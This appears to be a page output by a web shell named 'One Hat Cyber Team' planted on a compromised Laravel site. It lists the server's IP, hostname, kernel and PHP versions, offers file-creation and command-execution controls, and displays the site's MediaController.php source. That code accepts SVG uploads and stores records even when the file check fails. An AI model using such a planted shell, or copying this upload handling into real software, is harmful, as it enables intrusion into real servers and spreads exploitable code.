⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.63
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
gsm.com.ng
/
app
/
Http
/
Controllers
/
User
/
View File Name :
MediaController.php
middleware('auth'); } /** * Show the application dashboard. * * @return \Illuminate\Contracts\Support\Renderable */ // All user media public function media() { // Get plan details $active_plan = Plan::where('plan_id', Auth::user()->plan_id)->first(); $plan = User::where('user_id', Auth::user()->user_id)->first(); $active_plan = json_decode($plan->plan_details); // Check active plan if ($active_plan != null) { // Queries $media = Medias::where('user_id', Auth::user()->user_id)->orderBy('id', 'desc')->paginate(8); $settings = Setting::where('status', 1)->first(); return view('user.media.index', compact('media', 'settings')); } else { return redirect()->route('user.plans'); } } // Add media public function addMedia() { // Queries $settings = Setting::where('status', 1)->first(); return view('user.media.add', compact('settings')); } // Upload media public function uploadMedia(Request $request) { // Parameters $image = $request->file('file'); // Unique ID $uniqid = uniqid(); // Upload image if ($image->extension() == "jpeg" || $image->extension() == "png" || $image->extension() == "jpg" || $image->extension() == "gif" || $image->extension() == "svg") { $imageName = Auth::user()->user_id . '-' . $uniqid . '.' . $image->extension(); $media_url = "images/" . Auth::user()->user_id . '-' . $uniqid . '.' . $image->extension(); $image->move(public_path('images'), $imageName); // Save $card = new Medias(); $card->media_id = $uniqid; $card->user_id = Auth::user()->user_id; $card->media_name = $image->getClientOriginalName(); $card->media_url = $media_url; $card->save(); } return response()->json(['success' => $imageName]); } public function deleteMedia(Request $request, $mid) { // Queries $media_data = Medias::where('user_id', Auth::user()->user_id)->where('media_id', $mid)->first(); // Check media if ($media_data != null) { // Delete media image Medias::where('user_id', Auth::user()->user_id)->where('media_id', $mid)->delete(); alert()->success(trans('Removed!')); return redirect()->route('user.media'); } } public function multipleImages(Request $request) { // Parameters $image = $request->file('file'); // Unique ID $uniqid = uniqid(); // Upload image if ($image->extension() == "jpeg" || $image->extension() == "png" || $image->extension() == "jpg" || $image->extension() == "gif" || $image->extension() == "svg") { $imageName = Auth::user()->user_id . '-' . $uniqid . '.' . $image->extension(); $media_url = "images/" . Auth::user()->user_id . '-' . $uniqid . '.' . $image->extension(); $image->move(public_path('images'), $imageName); } // Save $card = new Medias(); $card->media_id = $uniqid; $card->user_id = Auth::user()->user_id; $card->media_name = $image->getClientOriginalName(); $card->media_url = $media_url; $card->save(); return response()->json(['image_url' => $imageName]); } }